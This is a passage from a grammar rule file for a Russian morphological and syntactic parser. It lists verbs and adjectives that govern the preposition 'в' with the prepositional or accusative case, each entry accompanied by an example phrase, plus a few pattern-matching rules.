rus_verbs:издать{}, // издать в России
rus_verbs:прочитать{}, // прочитать в газете
rus_verbs:попробовать{}, // попробовать в деле
rus_verbs:замечать{}, // замечать в программе ошибку
rus_verbs:нести{}, // нести в руках
rus_verbs:пропасть{}, // пропасть в плену
rus_verbs:носить{}, // носить в кармане
rus_verbs:гореть{}, // гореть в аду
rus_verbs:поправить{}, // поправить в программе
rus_verbs:застыть{}, // застыть в неудобной позе
rus_verbs:получать{}, // получать в кассе
rus_verbs:потребоваться{}, // потребоваться в работе
rus_verbs:спрятать{}, // спрятать в шкафу
rus_verbs:учиться{}, // учиться в институте
rus_verbs:развернуться{}, // развернуться в коридоре
rus_verbs:подозревать{}, // подозревать в мошенничестве
rus_verbs:играть{}, // играть в команде
rus_verbs:сыграть{}, // сыграть в команде
rus_verbs:строить{}, // строить в деревне
rus_verbs:устроить{}, // устроить в доме вечеринку
rus_verbs:находить{}, // находить в лесу
rus_verbs:нуждаться{}, // нуждаться в деньгах
rus_verbs:испытать{}, // испытать в рабочей обстановке
rus_verbs:мелькнуть{}, // мелькнуть в прицеле
rus_verbs:очутиться{}, // очутиться в закрытом помещении
инфинитив:использовать{вид:соверш}, // использовать в работе
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
глагол:использовать{вид:соверш},
rus_verbs:лететь{}, // лететь в самолете
rus_verbs:смеяться{}, // смеяться в цирке
rus_verbs:ездить{}, // ездить в лимузине
rus_verbs:заснуть{}, // заснуть в неудобной позе
rus_verbs:застать{}, // застать в неформальной обстановке
rus_verbs:очнуться{}, // очнуться в незнакомой обстановке
rus_verbs:твориться{}, // Что творится в закрытой зоне
rus_verbs:разглядеть{}, // разглядеть в темноте
rus_verbs:изучать{}, // изучать в естественных условиях
rus_verbs:удержаться{}, // удержаться в седле
rus_verbs:побывать{}, // побывать в зоопарке
rus_verbs:уловить{}, // уловить в словах нотку отчаяния
rus_verbs:приобрести{}, // приобрести в лавке
rus_verbs:исчезать{}, // исчезать в тумане
rus_verbs:уверять{}, // уверять в своей невиновности
rus_verbs:продолжаться{}, // продолжаться в воздухе
rus_verbs:открывать{}, // открывать в городе новый стадион
rus_verbs:поддержать{}, // поддержать в парке порядок
rus_verbs:солить{}, // солить в бочке
rus_verbs:прожить{}, // прожить в деревне
rus_verbs:создавать{}, // создавать в театре
rus_verbs:обсуждать{}, // обсуждать в коллективе
rus_verbs:заказать{}, // заказать в магазине
rus_verbs:отыскать{}, // отыскать в гараже
rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
